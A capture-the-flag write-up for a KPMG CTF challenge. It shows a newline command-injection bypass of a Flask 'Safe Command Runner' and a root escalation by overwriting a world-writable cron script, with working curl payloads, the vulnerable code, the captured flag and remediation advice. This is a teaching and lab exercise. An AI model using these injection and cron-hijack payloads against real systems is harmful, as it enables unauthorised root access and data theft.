Healthy Hijack 2: Command Injection + World‑Writable Root Cron

Root flag: KPMG_CTF{Dq6EGt0BfXXRYTEn_Pe1bbB_s9Ji_m1HE6XEgZogQvWh}

Target: http://kicyber-79c1aa74aff2-healthyhijack-0-0.chals.io Category: Infra / command-injection filter bypass → privilege escalation to root Hint (from KPMG CTF): “Get to root!”

Overview

Part 2 of Healthy Hijack. The deployment is the same vulnerable stack as part 1: a Flask “Safe Command Runner” with a startswith allowlist + metacharacter blacklist (newline bypass), and a world-writable root cron script /opt/healthcheck.sh. Only the flag value changed, so the same two-step chain yields root. (See the Healthy Hijack 1 writeup for the full breakdown.)

Foothold: newline command injection

The app accepts only ping/traceroute/nslookup, checks cmd.startswith(...), and strips ; & | \ $( <, but not \n. A newline after an allowed command runs arbitrary commands as appuser`:

base="https://kicyber-79c1aa74aff2-healthyhijack-0-0.chals.io"
multi(){ curl -s "$base/run" --data-urlencode \
  "cmd=$(printf 'ping -c 1 127.0.0.1\n%s' "$1")" \
  | sed -n '/color:#0f0/,/Back/p' | sed 's/<[^>]*>//g' | grep -vE 'ping:|^\s*$|Back'; }
multi 'id'   # uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)

cat /app/app.py confirms the identical filter:

ALLOWED_COMMANDS = ["ping", "traceroute", "nslookup"]
def is_allowed(cmd): return any(cmd.startswith(c) for c in ALLOWED_COMMANDS)
def sanitize(user_input):
    for b in [";", "&", "|", "`", "$(","<"]: user_input = user_input.replace(b, "")
    return user_input

Privilege escalation: hijack the root healthcheck

cat /etc/crontab shows /opt/healthcheck.sh executed as root every ~10 s, and it is world-writable:

multi 'cat /etc/crontab'          # * * * * * root /opt/healthcheck.sh  (x6, staggered with sleep)
multi 'ls -la /opt/healthcheck.sh'   # -rwxrwxrwx 1 root root 58 ... /opt/healthcheck.sh

Overwrite it (the filter allows >) to copy the root flag out and prove root execution:

multi "printf '#!/bin/sh\ncp /root/root.txt /tmp/rf2.txt\nchmod 777 /tmp/rf2.txt\nid > /tmp/who.txt\n' > /opt/healthcheck.sh"
multi 'cat /opt/healthcheck.sh'
# #!/bin/sh
# cp /root/root.txt /tmp/rf2.txt
# chmod 777 /tmp/rf2.txt
# id > /tmp/who.txt

Wait one cron tick, then read the results (the find /tmp -perm /4000 -delete cron only removes SUID files, so a .txt is safe):

until multi 'cat /tmp/who.txt' | grep -q uid; do sleep 8; done
multi 'cat /tmp/who.txt'    # uid=0(root) gid=0(root) groups=0(root)
multi 'cat /tmp/rf2.txt'    # KPMG_CTF{Dq6EGt0BfXXRYTEn_Pe1bbB_s9Ji_m1HE6XEgZogQvWh}

Root flag: KPMG_CTF{Dq6EGt0BfXXRYTEn_Pe1bbB_s9Ji_m1HE6XEgZogQvWh}

Why it works / fix

Identical to part 1:

  • startswith allowlisting + a blacklist that misses \n ⇒ newline command injection (RCE as the app user). Fix: no shell, explicit argv, exact-match allowlist, reject control characters.
  • A root-scheduled script left -rwxrwxrwx ⇒ trivial privesc. Fix: root:root 700/755 on anything cron runs as root; never writable by the app user.

Takeaways

  • Re-run your part-1 chain on part-2 first: challenge sequels often reuse the same flaw with a new flag.
  • Confirm privilege with a side-channel (id > /tmp/who.txt) so you can distinguish “flag is elsewhere” from “my payload never ran as root.”